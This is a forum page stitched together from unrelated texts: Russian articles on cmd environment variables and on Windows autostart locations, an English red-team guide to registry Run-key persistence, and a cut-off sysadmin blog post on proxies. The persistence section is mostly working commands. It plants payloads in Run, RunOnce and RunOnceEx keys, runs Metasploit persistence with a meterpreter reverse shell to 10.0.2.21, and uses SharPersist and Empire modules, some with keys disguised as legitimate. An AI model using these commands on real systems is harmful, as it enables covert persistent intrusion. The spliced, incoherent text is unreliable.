Переменные среды в командной строке
20.07.2015, 22:01. Показов 73023. Ответов 1
Переменные среды
Автор: spe******t, Вадим Стеркин aka Vadikan
Источник
Переменные среды, используемые в пакетных (командных) файлах, позволяют обходиться без указания абсолютных путей к директориям. Например, если нам заранее неизвестна буква системного диска, мы всегда можем использовать переменную %systemdrive%, возвращающую букву диска, на котором установлена ОС. Также, переменные применяются для оптимизации кода — многократно повторяющемуся параметру (например, разделе реестра) можно назначить короткую переменную и использовать ее. В данной статье подробно рассматриваются различные приемы работы с переменными, а также способы изменения и создания новых переменных. Теперь обо всем по порядку.
Классификация переменных среды
Справка Windows различает два типа переменных среды: системные и локальные. Системные переменные возвращают одинаковые значения для всех пользователей. К примеру, %systemdrive% — буква системного диска, и она для всех пользователей одинакова. А вот значения, возвращаемые локальными переменными, варьируются в зависимости от вошедшего в систему пользователя. Например, %userprofile% может возвращать C:Documents and SettingsТекущийПользователь, где ТекущийПользователь — название учетной записи пользователя.
Узнать, какие переменные среды в операционной системе вам доступны и какие значения в данный момент им присвоены, вам поможет команда SET, запущенная из командной строки без параметров (Пуск – Выполнить – cmd – set). В рамках данной статьи нас интересуют переменные, обозначающие путь к различным папкам (каталогам). Чуть подробнее о некоторых из них ниже:
| Переменная | Тип | Описание |
|---|---|---|
| %SYSTEMDRIVE% | Системная | Возвращает имя диска, содержащего корневой каталог операционной системы Windows XP/2003 (т. е. системный корневой каталог). |
| %SYSTEMROOT%, %WINDIR% | Системная | Возвращает размещение корневого каталога операционной системы Windows XP/2003 |
| %PATH% | Системная | Указывает путь поиска для исполняемых файлов. |
| %PROGRAMFILES% | Системная | Указывает путь к каталогу установки программ (Program Files) |
| %COMMONPROGRAMFILES% | Системная | Указывает путь к общему каталогу программ (Program FilesCommon Files). |
| %TEMP% и %TMP% | Системная и пользовательская | Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP. |
| %USERPROFILE% | Локальная | Возвращает размещение профиля для текущего пользователя. |
| %ALLUSERSPROFILE% | Локальная | Возвращает размещение профиля «All Users». |
| %CD% | Локальная | Возвращает путь к текущей папке. |
| %APPDATA% | Локальная | Возвращает используемое по умолчанию размещение данных приложений. |
Использование переменных в пакетных файлах
Начнем с простенького примера:
Код
DEL /F /Q "%AllUsersProfile%Главное менюАктивация Windows.lnk" DEL /F /Q "%AllUsersProfile%Главное менюWindowsUpdate.lnk" DEL /F /Q "%systemroot%system32*.scr"
В этом примере я удаляю вышеуказанные ярлыки, которые маячат перед глазами в меню Пуск, используя переменную %AllUsersProfile%, а также все файлы с расширением SCR из директории Windowssystem32, используя переменную %SystemRoot%. Вместо DEL /F /Q, как вы понимаете, может быть все что угодно: от команды копирования COPY до команды запуска установки нужного нам приложения со всеми параметрами командной строки, если это потребуется.
Во всех командах я специально использовал «кавычки» – это не случайно. Весь путь, включая переменные, надо заключать в кавычки, если вы используете пути, содержащие пробелы. Даже если сама переменная кавычек не содержит, после ее разбора системой в пути могут появится пробелы (например, %ProgramFiles% в C:Program Files). В любом случае кавычки лучше использовать – это является хорошим тоном оформления командных файлов.
Как задать свои переменные
Разобранный выше пример использовал уже существующие переменные среды. И вы, вероятно, обратили внимание на символы процентов, окружающие названия переменных. Эти символы нужны для того, чтобы разрешить подстановку значений переменной в командной строке или в пакетном файле. Символы процентов указывают на то, что Cmd.exe должна обратиться к значениям переменных, а не делать посимвольное сравнение. Ниже вы увидите, как это работает. Задать свои переменные в пакетном файле можно командой SET.
Команда SET
Вы можете задать в командном файле свои переменные при помощи все той же команды SET.
Чтобы добавить переменную, введите в командной строке:
Код
set имя_переменной=значение
Чтобы отобразить переменную, введите в командной строке:
Чтобы удалить переменную, введите в командной строке:
Например,
задает переменную mydir, которая будет возвращать путь к указанной папке. Подробнее о команде вы можете прочитать из set /?.
Важное примечание: переменные, задаваемые командой set, действуют лишь на протяжении командной сессии (см. ниже), в которой они были заданы.
Эти переменные могут быть созданы, к примеру, для любых путей, надо лишь задать или найти алгоритм присвоения переменной в каждой частной ситуации, пользуясь готовыми примерами или создавая свои на их основе. Как правило, такие переменные создаются в текущей сессии командными файлами с помощью некоторых операторов.
Пример назначения переменных в файле RunOnceEx.cmd, импортирующем параметры в реестр
Код
@echo off SET KEY=HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx SET i=100 REG ADD %KEY% /V TITLE /D "Installing Applications" /f REG ADD %KEY%%i% /VE /D "WinRar 3.51" /f REG ADD %KEY%%i% /V 1 /D "%systemdrive%installSoftwareWinRar.exe /s" /f REG ADD %KEY%%i% /V 2 /D "REGEDIT /S %systemdrive%installSoftwarerar_set.reg /s" /f SET /A i+=1
В данном скрипте командой SET задаются две переменных — %i% и %KEY%. Обратите внимание, что задаются они без символов процентов, а вот для обращения к ним %% уже нужны. Переменная %KEY% служит для упрощения и оптимизации кода. Она остается неизменной на протяжении текущей командной сессии, что избавляет от необходимости каждый раз включать в код раздел реестра. Каждый раз, когда в коде встречается %KEY%, будет происходить ее замена на HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun OnceEx. А вот %i% служит для последовательной нумерации разделов реестра. При начальном значении 100 переменная увеличивается на единицу при помощи команды SET /A i+=1 после каждого блока команд, что дает последовательность 100, 101, 102 и т.д. Таким образом, строка
Код
REG ADD %KEY%%i% /V 1 /D "%systemdrive%installSoftwareWinRar.exe /s" /f
на самом деле отработает так
Код
REG ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx100 /V 1 /D "C:installSoftwareWinRar.exe /s" /f
Обратите внимание, что во фрагменте файла также используется системная переменная %systemdrive%, которая соответствует букве системного диска.
Пример назначения переменных в командном файле, устанавливающем приложение с CD:
Код
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:WIN51 set CDROM=%%i: start /wait “%CDROM%INSTALLDVDToolsNBRomNero.exe”
В этом примере для всех перечисленных дисков происходит поиск определенного файла (WIN51). В случае его обнаружения на одном из дисков, последнему присваивается переменная %CDROM%, а далее уже происходит установка программного обеспечения с использованием пути, заданного созданной переменной.
Изменение переменных среды и добавление собственных переменных
Как уже было сказано выше, действие переменных, заданных командой set, ограничивается текущей командной сессией. Если вы хотите получить из временной переменной системную или пользовательскую, то надо ее прописать в реестр. Сделать это тоже можно различными способами.
Утилита setenv
Утилита работает из командной строки (сайт, загрузить). Работать с утилитой очень просто (setenv /?).
| Пользовательские настройки | setenv -u имя_переменной значение |
| Системные настройки | setenv -m имя_переменной значение |
| Настройки Default User | setenv -d имя_переменной значение |
| Настройки текущего пользовательского сеанса | setenv -v имя_переменной значение |
Допустим, если нужно получить переменную %temp% еще на стадии установки, то можно это проделать из cmdlines.txt, например:
Код
:: Creating and Setting Temp folder... md %systemdrive%Temp setenv -u Temp %systemdrive%Temp setenv -u Tmp %systemdrive%Temp
Утилита удобна тем, что после задания переменной ею можно пользоваться сразу. Ну почти сразу — в следующей командной сессии. Чтобы использовать ее в текущей сессии, можно задействовать старую знакомую команду set:
Код
:: Creating #EgOrus# var set EgOrus=D:EgOrus setenv -u EgOrus %EgOrus%
Импорт параметров в реестр
Если же пойти путем внесения изменений в реестр после первого входа в систему, то переменные начнут «работать» только после перезагрузки или завершения пользовательского сеанса. Конечно, в процессе автоустановки можно импортировать желаемые параметры на Т-12 (см. статью Твики реестра) и обойти данную проблему. Если же вы не собираетесь использовать назначенную переменную в текущем пользовательском сеансе, то импорт в реестр вас тоже может устроить. Процесс импорта REG-файлов описывать повторно не буду, а рассмотрю команду REG ADD на конкретном примере.
Допустим, вы заинтересованы иметь в системе переменную %CDROM% на постоянной основе и установить ее в процессе установки приложений с CD. Следуя коду, приведенному выше, нужно после определения переменной назначить ее системной.
Код
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:WIN51 set CDROM=%%i: REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerEnvironment" /v cdrom /d %CDROM% /f
После нахождения файла WIN51 диску, на котором он был найден, присваивается локальная переменная %CDROM%, которая тут же и назначается в виде постоянной системной переменной посредством импорта в реестр. Этот метод предложил в одной из тем на конференции Oszone Sanja Alone. Заодно вы узнали. где в реестре хранятся настройки системных переменных. Настройки пользовательских переменных хранятся в HKCUEnvironment. Пути, возвращаемые переменными %PROGRAMFILES% и %COMMONPROGRAMFILES%, можно посмотреть в параметрах ProgramFilesDir и CommonFilesDir в HKLMSOFTWAREMicrosoftWindowsCurrentVersion, но менять их там не следует. Каталоги установки программ (отличные от %SystemDrive%Program Files) нужно конфигурировать через файл ответов.
Резюме
Командная оболочка Windows (cmd.exe) — это весьма мощный инструмент работы с системой. При помощи пакетных файлов можно автоматизировать изрядное количество задач, и именно поэтому они часто используются для автоматической установки Windows. Умелое использование переменных в пакетных файлах позволяет решать широкий спектр вопросов. Работа с командной оболочкой становится более эффективной и одновременно упрощается код пакетных файлов. Другие примеры использования переменных вы можете найти на страницах сайта или форума. Все примеры, использованные в этой статье, взяты из скриптов участников форума OsZone.ru, за что им большое спасибо.
Терминология
Командная оболочка
— это отдельный программный продукт, который обеспечивает прямую связь между пользователем и операционной системой. Текстовый пользовательский интерфейс командной строки предоставляет среду, в которой выполняются приложения и служебные программы с текстовым интерфейсом.
cmd.exe — интерпретатор команд, который командная оболочка ОС Windows использует для перевода введенной команды в формат, понятный системе.
Командная сессия может инициироваться как запуском cmd.exe, так и запуском пакетного файла. Иными словами создается текущая командная оболочка. Соответственно выход из этой оболочки (к примеру, окончание работы пакетного файла) завершает командную сессию.
Пользовательский сеанс (пользовательская сессия) начинается с момента входа пользователя в систему (log on) и завершается при выходе (log off).
4
Многие сталкивались с порно баннерами, блокирующими экран, кому то необходимо прописать запуск программ без полной загрузки системы, а кто то просто хочет самостоятельно проверить компьютер на наличие разных лишних программ в автозапуске, которые сразу и не видны. Этому и посвящена статья ниже.
Утилита системной конфигурации MSConfig.exe
Начиная с Windows версии 98, Microsoft поставляет утилиту «MSConfig.exe», предоставляющую удобный интерфейс для управления файлами, запускающимися при загрузке Windows. Она находится в каталоге установки Windows. Ее можно запустить из диалогового окна «Выполнить». В ней нет возможности добавлять новый элемент с именем приложения или документа для автозапуска, но можно отключать, не удаляя, любой пункт из находящихся в списках. Есть еще одна интересная возможность — проверка правильности пути, соответствующего элементу автозапуска, и удаление из списков элементов, пути к которым не верны. Возможности этого приложение достаточно убогие и годятся для пользователей системы, но никак не для администраторов. Далее в статье я, по необходимости, буду ссылаться на эту утилиту.
Автозапуск из файлов инициализации
Изложение мест автозапуска будет вестись в хронологическом порядке, начиная с первых версий Windows и устаревших технологий. Файлы инициализации достались в наследство от 16-битных версий Windows 3.x. Microsoft несколько раз декларировала, что она избавляется от устаревших файлов, но на самом деле они до сих пор обрабатываются при запуске.
В файле «Win.ini» в разделе «[windows]» есть два параметра, которые могут служить местом для автозапуска. Первый параметр это «load», второй — это «run». Содержимое по умолчанию для них — это пустая строка. Имена файлов в них не должны содержать пробелов, указание полного имени файла в двойных кавычках не допускается. В них можно перечислить несколько имен файлов через запятую. Обычно они используются для загрузки драйверов, но могут загружать «троянских коней» или «клавиатурных шпионов».
Еще один файл инициализации, который может быть использован для автоматического запуска программ, — это файл «System.ini». В этом файле в разделе «[boot]» есть параметр «shell», который хранит имя оболочки Windows. Значение по умолчанию этого параметра — «Explorer.exe». Значение «shell» может содержать список приложений для автоматического запуска как параметры командной строки «Explorer.exe». Приложение «Explorer.exe» обрабатывает командную строку и пытается запускать приложения или документы, перечисленные в командной строке. Требования к формату параметра «shell» такие же, как и у вышеупомянутых параметров файла «Win.ini». В последнее время этот параметр начал широко использоваться для запуска сетевых червей. Это делает локализацию трудно обнаруживаемой, т.к. администраторы забывают просматривать этот параметр как место для запуска деструктивных приложений.
Утилита «MSConfig.exe» позволяет просматривать состояние и редактировать содержимое этих трех параметров: «load», «run», «shell», находящихся в файлах инициализации.
Папки автозапуска
Первая папка, которая отрабатывается после завершения загрузки Windows, — это папка «Автозагрузка», которая может хранить список ярлыков (*.lnk) приложений или документов. Ее состояние можно увидеть, выйдя из меню «Пуск» в подменю «Программы». Это — папка, относящаяся к «Текущему пользователю».
Чтобы найти ее размещение, сначала надо найти в системном реестре ключ «HKEY_CURRENT_USER SOFTWARE Microsoft Windows CurrentVersion Explorer User Shell Folders», хранящий размещение всех измененных папок, и отыскать там параметр «Startup» строкового типа. Если искомый параметр отсутствует, то ее размещение по умолчанию на жестком диске прописано в системном реестре в параметре «Startup» ключа «HKEY_CURRENT_USER SOFTWARE Microsoft Windows CurrentVersion Explorer Shell Folders».
Ярлыки к приложениям, находящимся в папке «Автозагрузка», отображаются в программе для настройки системы «MSConfig.exe». Если отключить автоматический запуск какого-нибудь элемента через «MSConfig.exe», то в папке «Программы» (она же и подменю в меню «Пуск») будет создана папка с названием «Отключенные элементы запуска», куда «MSConfig.exe» и переместит отключенный элемент. Для того чтобы временно исключить ярлык из автоматической загрузки, я прибегаю к более простому способу: у необходимого ярлыка я выставлю атрибут «скрытый» и при следующей загрузке он пропускается.
Следующая папка — это «Общая» для всех пользователей папка «Автозагрузки» (Common Startup Folder), которая также отрабатывается после загрузки Windows в поисках ярлыков с документами или приложениями. Увидеть ее в подменю «Пуск» можно в Windows NT или 2000. В Windows 9.x, ME ее содержимое не отображается. Она должна хранить ярлыки общие для профилей всех пользователей. В документации Microsoft (MSDN) сказано, что эта папка создавалась для Windows. Однако ее содержимое отрабатывается, даже если Windows 95, 98, ME работают в однопользовательском режиме.
В системном реестре ее размещение на жестком диске прописано в строковом параметре «Common Startup» ключа «HKEY_LOCAL_MACHINE SOFTWARE Micro-soft Windows CurrentVersion Explorer Shell Folders», который хранит измененные пути папок. При отсутствии этого параметра следует посмотреть размещение этой папки по умолчанию в параметре «Common Startup» ключа «HKEY_LOCAL_MA-CHINE SOFTWARE Microsoft Windows CurrentVersion Explorer Shell Folders».
Список исполнимых файлов, находящихся в «Общей» (для профилей всех пользователей) папке «Автозагрузка» также показываются «MSConfig.exe». Если отключить автоматический запуск какого-нибудь элемента через «MSConfig.exe», то в той же папке, где находится папка «Общего запуска», будет создана папка с названием «Отключенные элементы запуска», куда утилитой «MSConfig.exe» будут перемещены отключенные элементы запуска.
Администраторам следует обращать внимание на содержимое этой папки как место для возможного запуска приложений.
Системный реестр: автозапуск, общий для всех версий Windows
В системном реестре Windows есть ветвь «SOFTWARE Microsoft Windows CurrentVersion», содержащая несколько групп для автоматического запуска приложений. Все эти группы могут быть как в разделе HKEY_LOCAL_MACHINE, так и в разделе HKEY_CURRENT_USER. Изложение будет общим, и все может быть экстраполировано на оба этих раздела. Если Windows используется как многопользовательская среда, другими словами, это либо Windows версий NT/2000/XP, либо 95, 98, ME с задействованными профилями пользователей, то группы запуска следует искать также в разделе «HKEY_USERS .Default». Это раздел общий для всех пользователей системы. Если Windows 95, 98, ME работают в однопользовательском режиме, то раздел «HKEY_USERS .Default» идентичен разделу HKEY_CURRENT_USER.
Итак, я приведу полные пути к ключам: «SOFTWARE Microsoft Windows CurrentVersion Run», «SOFTWARE Microsoft Windows CurrentVersion RunOnce», «SOFTWARE Microsoft Windows CurrentVersion RunOnceEx», «SOFTWARE Microsoft Windows CurrentVersion RunOnce Setup», «SOFTWARE Microsoft Windows CurrentVersion RunServices», «SOFTWARE Microsoft Windows CurrentVersion RunServicesOnce», которые могут содержать строковые параметры, с именами приложений или документов запускающиеся при старте системы. Раздел реестра «RunOnce» не поддерживается в Windows NT 3.5. Имена строковых параметров, содержащихся в этих ключах, могут быть произвольными.
Далее я приведу несколько правил, ориентируясь на которые можно лучше понять процесс и очередность запуска приложений, прописанных в тех или иных местах автозапуска:
Ключи, содержащиеся в разделе HKEY_LOCAL_MACHINE, отрабатываются раньше соответствующих ключей, находящихся в разделе HKEY_CURRENT_USER.
Содержимое ключей системного реестра «RunServices», «RunServicesOnce» обрабатывается раньше параметров ключей «Run», «RunOnce».
Запуск «RunServices» и «RunServicesOnce» происходит до выдачи окна регистрации пользователя, далее идет асинхронно с диалогом регистрации и может продолжаться и после успешно проведенной регистрации. Приложения, прописанные в параметры системного реестра, содержащиеся в ключах «RunServices» и «RunServicesOnce», запускаются асинхронно, и поэтому может возникнуть ситуация, когда они будут работать одновременно.
Запуск приложений или документов, как это следует из самого названия, прописанных в ключах «RunOnce» и «RunServicesOnce», происходит один раз, независимо от того, был он успешным или нет. Параметр, находящийся в ключе «RunOnce» или «RunServicesOnce», удаляется до запуска приложения, имя которого он содержит.
Параметры, содержащиеся в ключах «Run», «RunOnce», запускаются синхронно и в неопределенном порядке, но после того, как закончило загрузку содержимое «RunServices» и «RunServicesOnce».
Ключи системного реестра обрабатываются в следующем порядке. Первыми отрабатывается содержимое «RunServices» и «RunServicesOnce» раздела HKEY_LOCAL_MACHINE. Далее выдается окно регистрации пользователя в системе. После этого операционная система переходит к обработке ключей «RunOnce» и «Run» раздела HKEY_LO-CAL_MACHINE, далее «Run» раздела HKEY_CURRENT_USER. Следующими запускаются элементы, содержащиеся в папке «Автозагрузка». После этого наступает очередь параметров ключа «RunOnce» раздела HKEY_CURRENT_USER.
Списками параметров, автоматически запускающих приложения при старте Windows, находящихся в ключах «RunServices» и «Run», можно управлять с помощью приложения для настройки системы «MSConfig.exe». Если отключить какой-либо элемент из списка, то «MSConfig.exe» переместит этот элемента в ключ «RunServices-» или «Run-» соответственно.
Следует обратить внимание на ключ «Setup», который может содержаться в ключе «RunOnce» как в разделе HKEY_LOCAL_MACHINE, так и в разделе HKEY_CURRENT_USER. Этот ключ используется как мастером установки Windows, так и мастером «установки — удаления» программ. При отработке параметров, содержащихся в этом ключе, отображается диалоговое окно с индикатором прогресса. Имя параметра используется как имя пункта в диалоговом окне. Аналогично содержимому ключа «RunOnce», пункты ключа «RunOnce Setup» удаляются и запускаются один раз.
Еще один ключ системного реестра, на который следует обратить внимание, — это «RunOnceEx». Приведу отличия запуска параметров, находящихся в «RunOnceEx» от запуска параметров, содержащихся в ключах системного реестра «RunOnce» и «Run».
Параметры, находящиеся в ключе «RunOnceEx», запускаться не будут. Для автоматической отработки необходимо создать в нем ключ реестра, и уже в нем должны быть параметрами с именами приложений. Ключи и параметры, находящиеся в ключе «RunOnceEx», сортируются в алфавитном порядке для того, чтобы принудительно придать им строго определенный порядок запуска. Другими словами, элемент, находящийся выше по алфавиту, будет запущен раньше, независимо от того, когда он был добавлен в ключ «RunOnceEx». Приложения или файлы сценариев должны или сами себя завершать, или не требовать отдельного вмешательства для завершения, пока не завершится один элемент запуска или остановится дальнейшая отработка списка, или загрузка Windows остановится в ожидании принудительного завершения запущенного приложения. Для приложений, запущенных из ключа «RunOnceEx», в отличие от ключей «RunOnce» и «Run», отдельные процессы не создаются.
Содержимое ключей «RunOnce», «RunOnceEx», «RunOnce Setup» и «RunServicesOnce» приложением настройки системы «MSConfig.exe» не отображается.
Особенности автозапуска в Windows NT/2000/XP
В добавление к вышеперечисленным ключам, для Windows версий NT, 2000 и XP специфичен еще один ключ системного реестра — «Software Microsoft Windows NT CurrentVersion Windows Run», который может находиться в разделах LO-CAL_MACHINE или HKEY_CURRENT_USER.
В ключе «Software Microsoft Windows NT CurrentVersion Windows» могут находиться два строковых параметра «Load» и «Run», которые могут хранить списки приложений для автоматического запуска.
Эти параметры аналогичны одноименным параметрам из файла инициализации «Win.ini». При установке Windows NT (2000) поверх Windows 95, 98 значения параметров из «Win.ini» раздела «[windows]» переносятся в соответствующие параметры ключа «Software Microsoft Windows NT CurrentVersion Windows». Если в параметре указывается несколько файлов, то имена должны быть разделены пробелами. Поэтому в них невозможно прописать путь к файлу, содержащим пробелы, — двойные кавычки не принимаются. «Значение по умолчанию» для этих параметров — пробел. Программы, запущенные из параметра «Load», минимизируются при запуске.
Особенности автозапуска в Windows ME/2000/XP
У Windows версий ME, 2000 и XP появляется еще один список автозагрузки программ или документов, запускающихся после регистрации пользователя в системе, который может размещаться как в разделе HKEY_LOCAL_MACHINE, так и в разделе HKEY_CURRENT_USER. Он размещается в строковых параметрах ключа «Software Microsoft Windows CurrentVersion Policies Explorer Run». Имена параметров для этого ключа имеют особенность: они должны быть представлены в виде порядковых номеров, начиная с «1». Список, находящийся в разделе HKEY_LOCAL_MACHINE, будет отработан раньше списка раздела HKEY_CURRENT_USER.
Автозапуск при отработке Windows Logon
Отдельная группа Windows Logon для управления инициализацией при регистрации пользователя появляется в Windows NT и далее развивается Microsoft для Windows версий 2000 и XP. Параметры Winlogon находятся в системном реестре в ключе «SOFTWARE Microsoft Windows NT CurrentVersion Winlogon» раздела HKEY_LOCAL_MACHINE. Все описываемые в статье параметры, относящиеся к Winlogon, имеют строковый тип.
Параметр Shell
Параметр «Shell», отвечающий за программную оболочку, присутствует в ветви реестра «Winlogon» в версиях Windows NT, 2000 и XP.
Этот строковый параметр определяет список исполнимых файлов, обеспечивающих для операционной системы интерфейс пользователя и которые должны быть запущены вместе с программной оболочкой.
По умолчанию Windows запускает программы, перечисленные в параметре «Userinit», расположенном в ветви «Winlogon», включая и сам «Userinit.exe». Если же по какой-то причине «Winlogon» процесс не смог запустить программы, определенные в параметре «Userinit», тогда «Winlogon» переходит непосредственно к обработке исполнимых файлов, имена которых записаны в параметре «Shell».
Значение по умолчанию параметра «Shell» может варьироваться. Это — «taskman, progman, wowexec» для Windows NT и «Explorer.exe» для Windows 2000, XP.
Параметр System
Этот параметр присутствует в Windows версий NT, 2000 и XP. Он содержит список имен исполнимых файлов, запускаемых Winlogon в системном контексте во время инициализации системы. Этот список можно варьировать, редактируя значение этого параметра.
Значение по умолчанию этого параметра — «lsass.exe, spoolss.exe» для Windows NT, и «lsass.exe» для Windows 2000, XP. Интересно замечание Microsoft, приведенное в MSDN: «Этот параметр появляется, но не используется самой Windows 2000».
Параметр VmApplet
Параметр «VmApplet», запускающий приложение «Панели управления» для настройки конфигурации системы, специфичен для Windows версий 2000 и XP.
Он содержит список или один исполнимый файл, которые Winlogon-процесс запускает для того, чтобы пользователь мог скорректировать настройки виртуальной памяти, если на системном томе отсутствует страничный файл подкачки. В этом параметре не обязательно указывать расширения для имен файлов.
Значение по умолчанию этого параметра — «rundll32 shell32, Control_RunDLL «sysdm.cpl»». Не стоит без нужды и изменять значение этого параметра, потому что это может привести к изменению настроек виртуальной памяти в Windows 2000, XP.
Параметр Userinit
«Userinit» (инициализация пользователя) специфичен для версий Windows NT, 2000 и XP.
Значение этого параметра содержит исполнимые файлы, которые запускаются процессом WinLogon в контексте пользователя, при регистрации пользователя в системе.
По умолчанию Winlogon запускает «Userinit.exe», который ответственен за запуск программной оболочки и исполняет файлы сценариев для регистрации, переустанавливает сетевые соединения и затем запускает «Explorer.exe».
Значение по умолчанию параметра «Userinit»: «userinit, nddeagnt.exe» для Windows NT, «userinit» для Windows 2000, XP. Приложение «nddeagnt.exe» необходимо для запуска NetDDE — сетевого динамического обмена данными.
Расширения в именах файлов, перечисленных в этом параметре, не обязательны.
Значение этого параметра можно изменять, добавляя или убирая программы из списка.
Если необходимо запустить приложение до загрузки интерфейса пользователя вместе с «проводником» Windows, то для этого можно заменить «Userinit.exe» на имя своей программы, не забыв включить в приложение код для запуска «Userinit.exe», или поступить еще проще, создав исполнимый файл для пакетной обработки с именем «userinit.bat», со списком программ для запуска и в одной из строк прописать собственно «Userinit.exe».
P.S. Информация, систематизированная в этой статье, была адресована в первую очередь администраторам Windows-систем, а не хакерам. Все сведения, приведенные в статье, содержатся в том или ином виде в официальной документации Microsoft.
Getting an initial foothold inside a network during a red team operation is a time consuming task. Therefore persistence is key to a successful red team operation as will enable the team to focus on the objectives of the engagement without losing the communication with the command and control server.
Creating registry keys that will execute an arbitrary payload during Windows logon is one of the oldest tricks in the red team playbooks. This persistence technique requires the creation of registry run keys. Various threat actors and known tools such as Metasploit, Empire and SharPersist provide this capability therefore a mature SOC team will be able to detect this malicious activity.
Terminal
Registry keys can be added from the terminal to the run keys to achieve persistence. These keys will contain a reference to the actual payload that will executed when a user logs in. The following registry locations is known to be used by threat actors and red teams that use this method of persistence.
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe" reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe" reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe" reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
If elevated credentials have been obtained it is preferred to use the Local Machine registry locations instead of the Current User as the payload will executed every time that the system boots regardless of the user who is authenticating with the system.
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe" reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe" reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe" reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe"
During the next logon the payloads will executed and will communicate back to Meterpeter.
Oddvar Moe discovered two more registry locations that could allow red teams to achieve persistence by executing either an arbitrary payload or a DLL. These will be executed during logon and require admin level privileges.
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.exe" reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend" /v Pentestlab /t REG_SZ /d "C:tmppentestlab.dll"
Metasploit
Metasploit Framework supports persistence via the registry by using a Meterpreter script and a post exploitation module. The Meterpreter script will create a payload in the form of a VBS script which will be dropped to disk and will create a registry key that will run the payload during logon of the user.
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21
The next time that the user will login with the system a new Meterpreter session will open.
Alternatively there is a post exploitation module which can be used for persistence. The module require the following configuration and will drop an executable at a writable location on the compromised system.
use post/windows/manage/persistence_exe set REXEPATH /tmp/pentestlab.exe set SESSION 2 set STARTUP USER set LOCALEXEPATH C:\tmp run
The module will use the registry location of the current user since the USER has been selected as an option.
The module can be configured to create a registry key in the HKLM location if SYSTEM level privileges have been obtained. The STARTUP option will need to be changed to SYSTEM.
SharPersist
SharPersist is a tool developed by Brett Hawkins in C# that combines a variety of persistence techniques including the addition of registry run keys. This toolkit can be loaded into various command and control frameworks that support reflective loading such as Cobalt Strike and PoshC2. The following command will create a registry key that will execute an arbitrary payload from the same registry location as the Metasploit Framework modules.
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
If elevated access has been obtained modifying the command to install the registry key in the Local Machine location to achieve persistence for all users.
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env
SharPersist contains also persistence capabilities via the RunOnce and RunOnceEx registry keys. The following commands will create registry keys in these locations that will execute arbitrary payloads.
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add
SharPersist provides also an option to use another registry location for persistence (UserInitMprLogonScript).
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add
PoshC2
PoshC2 supports various persistence capabilities which include the method of registry run keys. The following command will create two registry keys in the target host.
The registry Run key will have the name of IEUpdate in order to look legitimate and the second key will hide in the registry as a wallpaper.
Empire
Empire contains two modules that are aligned with the persistence technique via Registry Run keys if Empire is being used as a command and control. Depending on the level of privileges these modules will attempt to install a base64 payload in the following registry locations:
- HKCU:SOFTWAREMicrosoftWindowsCurrentVersionDebug
- HKLM:SOFTWAREMicrosoftWindowsCurrentVersionDebug
usemodule persistence/userland/registry usemodule persistence/elevated/registry*
Another registry key will be created under the name Updater that will contain the command to execute. PowerShell will attempt to run in the next logon the payload that is stored in the Debug key to achieve persistence.
- HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun
- HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun
References
- https://github.com/fireeye/SharPersist
- https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
- https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
- https://www.fireeye.com/blog/threat-research/2019/09/sharpersist-windows-persistence-toolkit.html
- https://attack.mitre.org/techniques/T1060/
Блокнот ночного сисадмина
четверг, 11 октября 2012 г.
Использование прокси для работы пользовательских программ или системных сервисов. Активация и обновление Windows через прокси
Работа любого ПО через прокси сервера может происходить по следующим сценариям:
1. В настройках программы разработчик позволяет указать адрес и порт прокси.
2. Используются параметры функции автоматического поиска прокси-сервера (Web Proxy Auto Detect, WPAD), настраиваемые администраторами служб DNS, DHCP.
3. Настройки прокси могут быть взяты программой из контекста пользователя, под которым она была запущена.
